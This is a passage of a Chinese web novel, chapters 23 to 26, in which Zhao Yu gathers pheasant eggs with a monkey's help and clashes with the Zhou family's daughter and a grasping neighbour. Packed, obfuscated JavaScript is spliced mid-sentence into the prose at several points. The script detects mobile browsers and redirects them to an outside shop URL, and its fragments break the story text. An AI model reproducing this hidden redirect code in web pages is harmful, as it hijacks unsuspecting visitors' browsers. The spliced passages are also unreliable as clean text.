果不其然,没走多久,原本还不急不缓的猴子突然快速往前跑,哇哇叫着转眼就不见了猴影。 23. 第二十三章 赵榆顺着它的叫声找过去,这时,在一阵哇哇声中猝然响起了几啼“咯咯”的鸡叫。 急促、凄厉,一听就知道猴子要对野鸡下手。 想起她在陷进那边发现的花色羽毛,想来就是这野鸡的。 赵榆不经怀疑猴子之所以跑出山林,从而落入陷进,可能与这野鸡有关。 等她找过去后,没见着猴子,只是地上落了不少野鸡毛,一簇一簇的,明显是被猴子给扯下来的。 远处野鸡还在叫,她还听见它扑棱着翅膀落在草里的动静,以猴子的性子,这只野鸡定然必死无疑。 赵榆正要过去看看情况,视线一滑,定在了一处被压得紧实的草团上。 与其说是草团,不如说是一个朴实无华的鸡窝,里头还摆放着几颗灰绿色的蛋。 赵榆深吸一口气,大跨一步,蹲下,手脚麻利地将野鸡蛋全拢到怀里,用衣角小心翼翼地将其兜起来。 她将每颗蛋都摸了摸,心想自己没白进来一趟,竟得了这么些个补身体的好东西。 赵榆心中激动,为了不损坏这些蛋,她打算现在就出去,至于那猴子赵榆决定不管了。 她又不能真让它跟着她,索性现在直接离开,到时候猴子找不到人,就只能回山里。 然而,想是这般想,可猴子岂是那么容易摆脱的。 她这才刚走没几步,后头哗啦啦的野草摇晃的动静就响起来,没过一会儿,一团棕灰色就从草里钻了出来。 不等赵榆表露嫌弃,她就被猴子嘴里叼着的东西吸引住了全部注意。 这就是那只倒霉的野鸡? 瞧着个头还不小呢! 鸡血一滴一滴的落在地上,转眼就被泥土吸入。 赵榆视线一转,新奇地看了眼猴子,正当她认为猴子原来也吃荤时,就见它一甩头,那被咬死的野鸡顺着力道就被扔进了野草丛里,落下去的瞬间就被遮掩的看不出一丝痕迹。 赵榆心疼,连忙跑过去将鸡重新捡起来,看向猴子,“你不吃鸡,怎的要咬死它?” 也不用看猴子是什么反应,她自顾自的为它想明白了原因,无非是它将被麻绳套住的事扣在了野鸡的头上,认为是野鸡将它引过去的,所以它咬死野鸡应该是为了报复。 赵榆将野鸡身上的草屑拍干净,暗想它不吃更好,正好便宜她。 因这野鸡已经死了,赵榆不好再在外头耽搁,需得快些回去将它拔毛放血。 看向已经累的吐舌头的猴子,好心让它快些进山找些能吃的果子果腹,可别饿晕了,若是倒在路边,容易被别人提回去当下酒菜。 然而,她话刚说完,就见这猴子从脖子上取下来一截长条,等赵榆看清是什么时,吓得她后退好几步。 ……这是蛇?! 它怎的缠一条蛇在脖子上? 这蛇不大,两指粗细,青黄花纹,足将猴子那看不见的脖子绕了两三圈。 赵榆惊惧地看着被它抓着的蛇,一时不知道它想做什么? 猴子太矮,蛇又太长,一端被它拿着,一端就托在地上,而掉在地上的那端血淋淋的,不见蛇头。 赵榆眼睁睁地见它捡起地上的那端,也不嫌弃上头沾上了些许沙石,直接往嘴里送。 生的蛇肉似乎是韧劲太足,它一时没咬断,于是它双手抓着蛇往外扯,头还适时往后仰...... 那蛇身子被它拉扯的笔直,终于,一截蛇肉被它咬断,它满意地张大嘴巴一通乱嚼。 赵榆不忍直视,原来它不是不吃荤,只是不喜欢吃鸡肉而已。 赵榆兜着鸡蛋提着鸡从它身边经过,瞥见它嘴里咬着的蛇还是忍不住惊骇,下意识抖了抖身子,脚步都快了不少。 只是她走的再快,猴子也能提着蛇很快追上她。 赵榆听着后头咀嚼蛇肉的声音,心中惨然。 这猴子是真的不打算走了么? 一路上她忧心忡忡,时不时地还回头呵斥它,想要将它吓走。 然而一切都是徒然。 猴子依旧拖着蛇跟在她身后,一口接一口的填着肚子,即便赵榆冲它吼,它也只是哇一声略表不满。 然后继续我行我素。 见用硬的不行,赵榆开始轻柔细语的哄着它,极其夸张地向它描述外头有多危险,也不管它能不能听懂。 赵榆严肃告诫道:“猴子肉大补,人人都想来一口!” “哇哇。” 猴子当然听不懂,它一心只有进食,偶尔嚎叫一声,用来表示对蛇肉的满意。 赵榆已经开始干渴,见它丝毫反应没有,便彻底歇了劝它走的心思。 不走便不走,到时候有人想它肉吃了,看它还敢不敢留。 虽是这么想,但赵榆还是担心猴子被人瞧见。 所以当听见前头不远有人在说话,她立即转头想要赶它。 然而用不着她动作,吃饱了的猴子行动敏捷,一听到有动静,已经早早地窜进路边的草丛里躲着。 赵榆见此,一直提着的心终于是松了松,好在这猴子机灵劲还在,知道见人就躲。 赵榆盯着草丛看了两眼,这才沿着路继续往前走。 地头干活的人也瞧见了她,尤其在见到赵榆手里拎着的野鸡,她经不住冲着赵榆喊道:“赵小妹,你这又是从哪儿弄到的?” 这人与赵榆还算熟,河边洗衣裳经常能碰到,但这种熟也只是比旁人多说了几句话而已。 但即便如此,关于赵榆的一些事,她还是从别人口中知道的。 就比如,前几天赵榆抓到的两只兔子。 她当时听说后,别提多震惊。 兔子多难抓,赵榆竟一连抓到两只! 她家男人也好肉吃,曾做大梦想着去山脚碰运气,结果兔子毛没带回一根,倒是将自己身上摔的青青紫紫。 一问原因,说是运气好碰见了兔子,但可惜跑的太快,他不仅追不到,还被跘了个跟头。 他男人也是手脚麻利的,连他拿兔子都没法,赵榆这么年轻的小姑娘竟能逮住两只兔子,这怎能不让她惊叹。 赵榆听见声,侧头看过去,见是见过几次面的熟人,便笑着问候一声,至于野鸡,她只说是路边捡的。 这个理由是赵榆一早想好的,不仅对眼前这个妇人,就是对周家人她也是这般说。 野鸡和鸡蛋都是她在路边捡的,趁着野鸡被天上的大鸟啄死后,她跑过去一把抢了过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13466585|139955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,还运气好的发现了这只野鸡下的蛋。 赵榆不觉得这个解释牵强,反而认为很可信。 村子近山,会吃鸡的大鸟又怎会少? 就连周婶为了防止她养的四只母鸡被鸟叼了去,她一天要出屋看个十来回鸡才放心。 所以当周婆子听说野鸡是被鸟啄死的,她不仅没怀疑,甚至还打算将家里的母鸡看的更严实一些,万不能便宜了那该死的贪嘴畜生。 周婆子打定主意后,又再次盯着手里的鸡愣神。 这丫头是又给她周家带回了肉? 算上这野鸡,已经是第四次了吧? 她没想到将赵榆买回来后,变化最大的竟是家里的伙食。 这之前,除了老三会往家里带几次肉,再没了添油水的机会。 除了农忙要给家里青壮补身体会掏出些钱割些肉回来,就是过年也得看年末余钱多不多,若是有的多,倒还能再吃些好的,若是没有,一家老小吃些米粮不饿肚子便很好了。 这接二连三的往家里带肉,周婆子只在三儿子那里体会过零星几次便再没遇见过,哪成想竟又在赵榆这儿感受了一遍。 “你,你这……”周婆子看了赵榆一眼,少有的不知道说些什么。 赵榆见周婶半天都没说出一句话,只好牵开衣角,询问野鸡蛋要怎么处理。 赵榆知道周家的米粮包括鸡蛋都是周婆子管着的,全都放在她和周老汉住的屋里,一天存多少吃多少都是规定了数的。 周婶目光随着赵榆的动作落在那些灰绿壳的鸡蛋上,总有六个呢,圆溜的,很是可心。 野鸡蛋也是补身体的好东西,就是放在县城卖也比家里母鸡下的蛋要贵两文钱。 这种野物,深的富贵人家喜欢。 若是平时,周婆子定是要全留下然后卖了换钱,但看了眼脸色泛黄的赵榆,以及一旁吸溜口水的两个孙子,她便只取走了三个,剩下的让他们三人一人一个。 赵榆惊喜地瞪大眼,没想到她也能分到一个。 摸着独属于她的这颗野鸡蛋,赵榆心动不已。 但想到那不知躲到哪儿去的猴子,赵榆心里又复杂的紧。 能得这么个好东西,她该感谢的应该是猴子才对…… 周老汉站在堂屋外头,将野鸡和那些野鸡蛋看在眼里。 他虽也高兴家里又多了荤食,但难免也有些难为情。 他周家也有不少人,只是瞧着竟没人家赵榆有本事,一家子大小老弱在吃食上竟还要占小姑娘的便宜,真真是不知道说什么才好。 周老汉暗暗叹口气,让赵榆将鸡蛋用热水冲开,在放些饴糖,不仅滋味好,对身体也很补。 赵榆照做,从周老汉手里接过饴糖,她带着大牛兄弟两个去灶房取了炉子,等水烧开后,将三个鸡蛋磕开,然后倒进去。 没一会儿,蛋清渐渐发白,然后成型…… 觉得差不多了,她将饴糖放进去,待其融化后,赵榆先给大牛二牛盛上,然后才是她自己的。 将陶罐里的水全倒干净后,赵榆这才迫不及待的端起自己的碗。 “你们在吃什么?!” 震惊又带着怒气的声音在三人背后响起。 24. 第二十四章 周麦在屋里头就听见他们折柴烧火的动静,一开始她没放在心上,她还因早上被打那件事气闷,并不想出来见这些让她心烦的人。 只是,陶罐里头的水煮开,丝丝甜香味从窗户缝里钻进去,她口舌生津。 一出来就见他们三个一人捧着一碗,脸上含着迫不及待的笑,看着就让人压不住火气。 尤其是见那三个碗里装着满满的甜水和一个透白的鸡蛋,周麦气的差点咬着了舌头。 周麦:“谁准你们吃的?”似乎想到什么,她笃定地指着赵榆道:“你竟然敢带着他们两个偷鸡蛋?!” 她不等赵榆开口说话,已经认定地道:“手这般的不干净,我定要让娘将你发卖了!” 赵榆还没出声,大牛就先不乐意了,他将还没来得及吃的碗移开,大声否认道:“不是偷,这是爷奶让我们吃的!” 周麦看着怒瞪着自己的大牛,气的很想上前扇他一巴掌。 但他这句话还是提醒了她,这鸡蛋不可能是偷的,这赵榆还没那个胆子跑进娘的屋里偷东西,尤其是还带着这两个小东西堂而皇之的在院子里煮着吃。 但是,她依旧不愿意家里的鸡蛋被他们三个吃了,尤其赵榆竟然也独享一个。 周麦:“谁家鸡蛋不是省下来拿来换钱,三个鸡蛋三文,你们倒是吃的很是享受。” “尤其是你!”周麦嘲讽地看向赵榆,“你不是我周家的人,吃我家的鸡蛋竟这般的心安理得,如此厚脸皮可真是少见!” 赵榆看了眼嘴皮子不停的周麦,又低头瞧瞧碗里白里透黄的鸡蛋,想了想,决定还是先吃再说。 好东西就端在她手里,为了以防万一,吃下去才能让人安心。 她没说的是,这周麦脸皮也不薄,万一她嘴馋眼馋跑来抢可怎么办? 还是先吃下去比较妥当。 周麦说了一堆难听的话,正等着赵榆不堪受辱然后放弃鸡蛋,就见对方不仅不理她,还先一步将碗凑近嘴边,喝了一大口甜水。 周麦气急,大喊,“不准吃!” 赵榆从碗里抬眼瞥了她一眼,不理,又喝了一嘴的甜。 赵榆啧啧嘴,感受一番,甜滋滋的味道她已经好久没尝到了。 刚从陶罐里盛出来的水和鸡蛋还是有些烫,但赵榆不怕,边吹边喝,几口下去就空了大半碗。 见身边的大牛二牛还没动嘴,赵榆皱了皱眉,扫了一眼紧盯着这边的周麦,轻声催促道:“快吃。” 大牛现在很听赵榆的话,哪怕甜水还很烫,他也凑近用嘴小心的吸溜了一口。 真甜! 他眯起眼,满足的不行,正要再喝一口,就被周麦气急败坏的喊声吓到,碗都差点摔在地上,好在赵榆及时伸出了一只手。 周麦见他们当着她的面就敢吃,早已经受不住,吼道:“给我放下,不准吃!”边叫喊边往三人这边冲来。 不同于大牛他们被吓到,赵榆对周麦的举动不意外。 她迅速仰头将剩下的鸡蛋全倒进嘴里,含糊不清的嘱咐大牛他们先吃鸡蛋。 甜水虽好喝,但野鸡蛋才是好东西,先将鸡蛋吃了,别人才占不了便宜。 嘱咐完,赵榆将碗塞给大牛,然后就快步上前挡在周麦的身前,没和她太客气,直接道:“这野鸡蛋是我带回来的,不说一文钱一个,就是一百文钱一个,我也照样吃的心安理得。” 赵榆余光扫了眼身后,见大牛果然带着二牛先吃鸡蛋,这才舒心,继续道:“倒是你,大呼小叫的,不知道的还以为我捡回来的野鸡蛋是你下的呢。” 赵榆的确是要讨好周家人,可也不是什么人她都得低声下气,眼前这位赵榆就觉得没必要。 可她觉得没必要,周麦却是深感受到侮辱。 赵榆是谁,一个她家花钱从人牙子手里买回来的小可怜,若不是她周家,她是否能活着都是个问题。 赵榆她就该对周家感恩戴德! 可现在这个“可怜人”不仅不低头,竟还敢对她说出这等“大逆不道”的话,周麦恨得气息都不匀起来。 这个时候周家没人,周婆子去屋后头杀鸡,周老汉刚刚又扛着锄头出去了,其余人也都外出没回来,这院子里就周麦他们四个。 没了能压她的人,周麦再也忍不住脾气,抡起手就要扇在赵榆脸上,“敢骂我,看我不打烂你的嘴!” 赵榆没想到对方会动手,即便她已经快速往后退,还是被她的指尖划到。 瞬间,火辣辣的疼感铺在脸上。 赵榆抬起手,用手背轻轻一贴,随即就看见手背上印上丝丝血渍。 她紧抿唇,气性上来,猛地伸手就朝周麦推去。 赵榆扛着锄头锄了好几天的荒地,力气怎么着也练出一些,加上她也没收着力,周麦这一跤是摔了个结实。 周麦坐在地上还发着蒙,直到屁/股一阵阵的发疼,它这才张嘴嚎哭出声。 “你敢推我,我一定不会放过你!”她边哭边叫嚷。 赵榆冷眼看着她,虽然这一推很消气,但她心里还是有些慌,将周家的小女儿打哭,周婶必定会生气。 正当她有些无措时,大牛包着一嘴的鸡蛋跑过来看笑话,“小姑真爱哭,和二牛一样。” 二牛也知道哭啼啼会被奶骂,急忙奶声奶气地道:“二牛不爱哭,小姑才爱哭。” 赵榆被两人弄得气息一散,紧张的情绪得到缓和,正要开口问他们有没有将鸡蛋吃完,就听见屋里头传来气虚奄奄的妇人声。 “大牛……你怎的把小姑气哭了……还不快将人扶起来。” 声音透过两堵墙传出来,不大,似乎精气不足,说的长了有些气喘,但里头的人特意提了音调,不妨碍外面的人将话听清楚。 大牛见娘误会是他惹事,忙急着否认,“娘,我没把小姑气哭,是她自己喜欢哭。” 屋里人似乎说累着了,缓了缓道:“莫要多嘴……若不是你初先没将野鸡蛋解释清楚……小姑又怎会大吵大闹……” 她重重地吸了一口气,给自己再添了说话的气力,“大牛乖……将小姑扶起来……” 大牛还小,听不懂里头弯弯绕绕,只知道娘让他扶小姑起来,即便不太愿意,还是上前伸出了小胳膊。 然而,他这手还没触碰到周麦,就被足力地拍了一巴掌。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13482991|139955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 啪! 周麦怒目而视,“滚开,不准碰我!” 周麦这巴掌打的重,很快大牛胳膊上就红了一片,他捂着发痛的地方,嘴一瘪一瘪的,克制不住想要哭。 赵榆见了,连忙过去将他拉到身边,轻抚了抚他被打红的胳膊,心里有些后悔,后悔刚刚那一下推的轻了,应该再重些才好。 赵榆心疼大牛被打,张口就要将心里骂周麦的话全抖露出来。 然而她心疼,大牛的亲娘更加心疼,明明已经没了力气,仍想要替儿子找公道。 “……麦姐儿……大牛才五岁……他什么都不懂……你怎的又打他……” 周麦脾性本就不怎么样,此刻又被这般对待,理智早已经被发疼的屁股驱散干净,哪怕现在和她说话的人她要叫声二嫂,她依旧没有收敛,话怎么难听就怎么说。 “我就打了,你能拿我怎么样?” “日日躺在床上,做不了一点活儿,白吃白住这么些年,药钱都不知道花出去多少,二哥取了你真是上辈子作孽,不仅他自个得不了好,还带累了我周家!” 周麦因为没钱买养肤膏,心里一直存有疙瘩,所以她不仅嫌恶用钱买来的赵榆,也对不断需要钱买药的大牛亲娘生了厌。 她怨怪她们用多了钱,将她的那一份也用光了,导致她一直凑不够钱去换回她要的养肤膏。 越想她的怨念越大,咬牙切齿道:“你怎么还活着?你为什么不去死!” “哇——” 被赵榆安慰忍着没哭的大牛再憋不住,扯着嗓子哭豪起来。 他再不董,也知道小姑在说不好的话,她在骂娘。 娘生病了! 娘不能死! 大牛眼泪不住的往下流,对着周麦嚷道:“你坏!你骂娘!” 大牛哭得伤心,二牛见了也忍不住,也跟着瘪嘴哭将起来。 赵榆忙过去将二牛也抱在怀里轻哄,闹腾成这样,她心里又慌又急又愧疚。 鸡蛋是她带着大牛他们煮的,周麦是自己推的,就连屋里头大牛的亲娘也是因为想帮她才会被周麦针对。 大牛听不懂他娘的交代,但赵榆明白。 她想要让大牛承担周麦闹事的责任,那番话也是在告诉她,若是周婶追究,她可以将过错往大牛头上推。 对方的这份好意,赵榆不得不承。 可若是大牛的娘因为帮她,而被气出好歹,她要怎么办? 大牛二牛还这么小,赵榆承受不起。 赵榆没想到连自己的亲二嫂,周麦都能这般口无遮拦,话说的如此难听,此刻她心里厌恶极了这个人。 她将二牛脸上的泪擦了擦,便松了抱住他们两个人的手,起身,迈腿就要朝着周麦那边过去。 然,当她看见提着拔光毛的鸡从后院快步走出来,另一只手上还握着一根火柴棍时,她止住了刚有动作的腿。 周麦仍一脸气性难消,见两个讨人厌的玩意儿一个比一个哭得大声,更加烦躁,嘴巴一张就要破口大骂。 但当一根棍子兜头甩下,砸向她肩膀时,周麦到嘴的烂语全散了个干净,瞬间换成了惨叫声。 25. 第二十五章 周婆子一脸怒气的站在周麦身后,听见她的痛呼声似乎还不解气,又一次举起烧火棍甩了下去。 周麦再顾不上还疼着的屁股,她捂着肩膀,连爬带滚的逃的远远的。 她又哭又叫的,直问周婆子凭甚打她? 挨了结实的两棍子,周麦臂膀酸痛不已,她委屈又愤怒,大喊周婆子心狠,对她这个女儿竟下得了这般的狠手。 周婆子狠狠地盯着她,一句话不愿多说。 她真是气不过,气不过这个小女儿心如此黑,嘴如此恶毒。 那是大牛二牛的亲娘,她的亲二嫂,她是如何狠得下心当着两个孩子的面说那般难听的话? 真真是丧良心,周婆子听了都心寒。 她看向一旁哭的停不下来的两个孙子,心都沉了沉,紧了紧手里握着的棍子,气急的继续往周麦身上打去。 二郎媳妇的情况家里都有数,一直以来都避着这个话题,周麦倒好,不只出口恶言恶语,还当着二媳妇的面杀人诛心。 周婆子若是不真切打她一顿,不仅对不起孙子和儿子,就是她自己都难安。 周家院子里响起了刺耳的惨呼声,好一会儿都未停止。 与周家相邻的,不约而同的站在自家门前往周家那边望,心里不住的嘀咕,这周家怎的这么闹腾?又是骂又是打的,瞧着是犯了什么了不得的大错似的。 不止是这些近邻这般猜测,连特意找过来的陶氏都有些迟疑,站在周家院门外,抬起的手一时没往门上敲。 陶氏的儿子汪文有所顾忌,试探开口,“娘,这......我们还进去么?” “进去!这一趟不能白来。”说完,她不顾里头哭天喊地的动静,直接使力将院门拍响。 得益于这门被拍的急,周婆子听见声总算是停了打人的动作。 赵榆见周麦被打,心里痛快的不行,听着从外传来的敲门声,暗叹可惜。 是谁这时上门,当真是不凑巧,若是晚来一会儿,这周麦还能再吃些苦头。 虽是这么想,但瞧见在地上直打滚的周麦,赵榆还是觉得解气了。 敲门声还在继续,赵榆看了眼周婆子,这才快步过去开了门。 站在前头的是一个四十来岁的妇人,赵榆不认识,但她后头站着的年轻男子,赵榆可不陌生。 他不就是当时对她说酸话,说她抓的兔子是盗了别人陷阱才得来的人么? 赵榆怀疑的扫了眼这个男人,刚要开口询问他们有什么事,就被前头的妇人出声打断。 陶氏瞧都不瞧赵榆,待门打开,她径直带着儿子汪文进了院子,态度不甚热络,道:“我说这门怎的开的这么晚,原来是老姐儿有事正忙着呢。” 周婆子是直脾气,懒得说些弯弯绕绕的,尤其来人还与周家有过隔阂,她更加没必要多客气。 “你上门有什么事?”周麦哭得村头都能听见,这陶氏倒好,不挑时候的选择这个时候敲门,周婆子可不信她来是有什么好事。 陶氏心里冷哼一声,当她愿意上周家的门,她还嫌晦气呢! 这般想着,她视线一转落在周婆子提着的野鸡上头,毛已经被拔干净,皮肉被水淋过,瞧着是又白又嫩。 陶氏咽了咽口水,也懒得再客气,直接将她此次过来的目的说了出来。 周婆子听了对方的话,以为是自己听错了,难以置信地反问道:“你说这只野鸡你要带走?” 赵榆听了也很吃惊,但她不似周婆子带着怒气,反而有些心虚。 她心里忍不住琢磨,这人说这种话......会不会因为…… 正当赵榆忐忑时,陶氏态度坚定地道:“我家因为这只野鸡受了损失,自然该我拿回去。” 周婆子还是第一次听这么牵强的理由,提醒道:“这鸡是我周家人捉到的,跟你王家可是没有任何关系。” 赵榆被周婆子归为自家人也没心思高兴,她现在忧心的是,万一这人真与那套住猴子的陷阱有关,那这只野鸡她还真的解释不清,哪怕它是被猴子咬死的。 赵榆一想到野鸡会被这两人带走,她就止不住心慌。 没了野鸡是小,若是让周婶失了面子,她以后的日子怕是又要艰难起来。 赵榆紧紧盯着陶氏,害怕她真的拿陷阱说事。 陷阱是被她毁的,周边甚至还落了几根野鸡毛,一旦对方认定这野鸡是她从陷阱取来的,她再如何解释都不可信。 甚至会被认为是德行有亏,毁了人家特意设的陷阱不说,还偷了捕到的猎物。 她解释的再多,人家也只会认为她是嘴硬不承认。 到时候不止自己会被看不起,就连周家都会因为她而成为别人的饭后谈资。 赵榆兀自提着心,思索着一切可能出现的后果。 然而—— “怎的没有关系?即便这野鸡是你周家抓的,但这畜生不知偷吃了我家田地里多少稻谷,这损失谁赔?” ……赵榆高高悬着的心立时降了下来。 她低着头,眨了几下眼,一时间不知道该取什么态度。 野鸡吃了她家水田里的稻谷…… 赵榆悄摸地抬眼看向周婶,果然也是一副匪夷所思的神情。 周婆子都怀疑她是不是干活摔坏了脑袋,“你也说这是野鸡了,它在野外寻食,你家的谷子难不成种家里,不种野外?” 四周都是山,水田里的谷子又接近成熟,黄澄澄的,引来野鸡偷吃又不是什么稀奇的事。 若是心疼那些被吃的谷子,自己就该多去田边转一转,或扎几个稻草人摆着也行得通,没瞧见现在家家户户时不时的就往稻田跑,防的就是这些尖嘴啄食的东西。 她周家也同样如此。 周婆子继续道:“你也这把年纪了,野禽偷吃谷子也不是新鲜事,它不止吃你家的,别人家的它也照吃不误。” “怎的别人不上我家门向我讨要这只野鸡,偏偏就你特立独行,是你家的谷子长的比别人的金贵还是怎的?” 陶氏可不听这些,她认定了这只野鸡有她的一份,“家鸡也是靠谷子喂才长得肥,这野鸡吃了我那么多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这时,院门口再一次传来动静。 赵榆回头,就见两个男人站在门边,其中一个粗布衣裳的男子肩上背着一个深色布包,一脸疲态,正扶着门框看向里头,待看见了要找的人,这才不轻不重的喊了声“娘”。 周婆子才刚刚吐出两个字,就被这声称乎打断,抬眼一看,就见自家大儿子风尘仆仆的不知什么时候出现在院子里。 “大郎?”周婆子又惊又喜,“你怎的今儿个回来了?” 见到周田,汪文和陶氏也很惊喜,但他们的惊喜不同于周婆子,而是庆幸回来的还好是周田。 刚刚他们听到那声“娘”,头皮都紧着发麻,还以为……还以为回来的是周禾。 若回来的是周家老三…… 陶氏母子齐齐打了个寒颤。 周田回道:“宗祠提前几天修缮好,财主老爷便结了工钱让我们回来了。” 周婆子这时才注意到院门外站着的大柱,忙招呼大柱进来喝口水。 大柱是他们这个村村长的大儿子,为人厚重,隐隐有接替他爹村长之位的意向。 也因此村里人不怎么拿他当小辈对待,有什么事除了村长外,也乐意找他。 王大柱因修缮宗祠的活已经一个月没回家,本想拒绝周婆子,但见周家院子里还沾着汪家两个人,尤其是他们脸上神情并不好,念着他爹有村长之责,王大柱只好应声走了进去。 26. 第二十六章 陶氏用周婆子的话来骂,那就是和赖皮没什么两样,所以这样的人,她是没把王大柱放在眼里,哪怕他爹是九龙村的村长。 在周婆子进灶房给周田两人准备水时,她也丝毫不顾忌的大声嚷着让周家莫做缺心鬼,昧下她汪家的那口肉也不怕家里继续涨霉运。 周婆子那个气呀,她最最听不得的就是“周家遭晦”这四个字,眼见着这汪家婆娘的嘴比茅厕还臭不可闻,若不是还有村长家的人在,她差点忍不住再次捡起烧火棍。 虽没动手,但她这一通回骂可不轻,直将陶氏和她儿子骂的脸黑了又黑。 王大柱一碗水下肚,也将事情始末理清了。 他将野鸡这事的起因在心里过了多遍,终是无奈开口,“陶婶子,你这要鸡的理由未免太过牵强了些。”野鸡吃了稻谷,上门找周家要赔偿,这理是无论如何都说不通啊。 陶氏一听,对着王大柱都没了好态度,“什么牵强?哪里牵强了?这野鸡就是吃了我家的谷子,若不是昨日失了手,它早被我家给逮着了,哪有她周家的份儿!” 她断言,“今儿个这鸡必须得分我家一半,否则我还就不走了!” 王大柱皱眉,看向陶氏又看了眼她身后的汪文,道:“这野鸡山中不缺,你们从哪儿看出这是昨天从你家田里逃脱的那只?” 王大柱瞥向一旁已经被拔了毛,浑身光溜的野鸡,好心劝道:“空口无凭,强拿硬要,就是去县衙找官爷要说法,都得落一刁民的名头,一顿板子是少不了的。” 普通百姓视官如猛兽,王大柱这半劝半威胁的,陶氏气焰熄下去不少。 这时已临近午时,恰好周老汉带着两个儿子回来,周家人一多,陶氏两人更加气势不足。 周婆子可不愿让他们在自己继续碍眼,拉着周谷周青直接将两人给赶了出去。 将人赶走还觉得不解气,叉腰站在院门外扯着嗓子不点名不点姓的将事情有声有色的一通描述,似要将这不要脸的事宣扬的人尽皆知才好。 等语不待停的嚷清楚后,这才拍拍衣袖进了院子,无视陶氏两人气黑的脸,“啪”的一声,将院门关的严严实实。 事情算是解决,王大柱歇够了,打算告辞回家。 周婆子愣是留了他好一会,说是感谢他将大郎送回来,又问他三弟王三柱的消息。 王大柱摇了摇头,道:“一个月前收到三柱传来的消息后,再没镖局的人找过我。” 见周婆子眉间带愁,他想了想安慰道:“周婶不必太过担忧,没有消息传回来那便是好消息,如此三柱和周禾便是平安无忧。” 说起三弟王三柱,王大柱也很是诧异,他不懂周家老三那么可怖的一个人,自家兄弟怎的偏偏一个筋的跟在后头,就连外出走镖,他仅仅和家里人提了一嘴,随即简单收拾了包袱就跟着去了。 让家里人牵肠挂肚几个月他也就不提了。 只是,走镖这活危险重重,身上没几分能耐,真就可能会送命。 周禾是能耐人,无需担心,可自家兄弟不是。 三柱只是个有几分把式的种地汉子,他去给人走镖,若是真遇到恶人,周禾能护着运送的物什,还能让人见血,而三柱约莫只能自个儿溅血了。 王大柱虽是一脸平静的劝慰周婆子,其实他心里也是为三柱担心不已。 周婆子看了眼王大柱,心里叹口气,只能顺着他的宽慰点点头。 只是,她并不是担心老三会有危险,她忧心的是三郎这一次出去,没她和老头子在身边劝一劝,他的性子会越发无所顾忌。 平时有束缚还好,哪怕不甚管用,好歹有根细丝似有若无的绑着,可一旦脱了缰,野性冲破笼子,到时再难收回了。 周婆子带着厚茧的指腹抹了抹衣袖上沾上的一滴鲜红的鸡血,暗暗期望一切都还来得及,期望老三......她还能管得住。 因着大儿子周田以及刚刚那事,周婆子对王大柱心存感激,非得让人晚食上周家来吃,今儿这鸡她也不留了,全做了上桌。 王大柱推卸不了,只能点头同意到时候上门来吃鸡。 周婆子又叮嘱他记得叫上他爹一起,这才开门放人离开。 等人走后,周老汉问起刚刚的事,待了解过后,无声的叹息一声。 他看向一旁的赵榆,小姑娘低垂着头,黑幽幽的头顶显得沉闷又拘谨,“野鸡难得,我们家能得这一盘肉菜是件高兴的事,别人不讲理,切莫怨到自己头上。” 赵榆一怔,试探地抬起头,对上一双浑灰的眼睛,陷在刻着纹路的眼窝里,尽显平静。 赵榆突然鼻子有些泛酸,她吸了吸气,却紧接着呼出一道长长的气息,缓缓的,绵长的,似乎将她那些盘旋不定的情绪也给吐了出去。 那两个人上门虽没真的带走野鸡,但赵榆确实还是被影响。 她下意识的将这个麻烦怪在了自己头上,想着若她没带回野鸡,外人就不会有理由上门;若她没带回鸡蛋,周麦就不会突然发难。 一连两个不好的事,好像都与她相关。 在这莫须有的愧疚即将要将她套牢时,周老汉这话可以说是将她拉了出来。 世间责任之多,但兀自将自己往罪责上头靠,属实是要不得。 赵榆脑袋清醒过来,对周老汉很是感激。 “怨怪自己作甚?”周婆子知道周老汉这话不是对自己说的,但她还是顺着接了,想起陶氏刚刚的嘴脸,忍不住骂道:“陶氏好比那麻癞子,不仅讲不通道理,她还能厚颜无耻的自圆其说。” “即便牛头不对马嘴,她也能将唾沫喷你一脸。” “难怪她能和郑虔婆要好呢,都是不要脸的癞子皮,城墙都没她来得厚。” 在这骂人的间隙里,屋里头传来一声声的啜泣声,周老汉不过问,但周田还是关心小妹是否发生了什么事。 周婆子不愿提她,只道一句“无事”。 那些没良心的话,她不愿多说,说出来也是寒人心。 听见屋里头不见小的哭泣声,周婆子一直没下去的火气又一次被拱起来,对着窗口骂周麦是晦气玩意儿,哭哭啼啼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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缓了缓,赵榆强逼自己不去想。 船到桥头自然直,之后总有解决的办法。 再说—— 还有猴子呢! 到时候真要是跑进山里,跟着猴子走果腹的野果该是不缺的。 想到这里,赵榆无比期望猴子不要忘记她的恩情,若是可以,悄摸着来周家找她也是可行的。 如果它来,她一定好好待它,再不赶它走。 * 方春梅是日头西垂赶回来的,一进院子她便闻到肉香味。 一天下来没进多少食,这时候被这香味一激,顿时饥肠辘辘起来。 她暗想着,得亏回来的及时,要不然这兔子肉可就错过了。 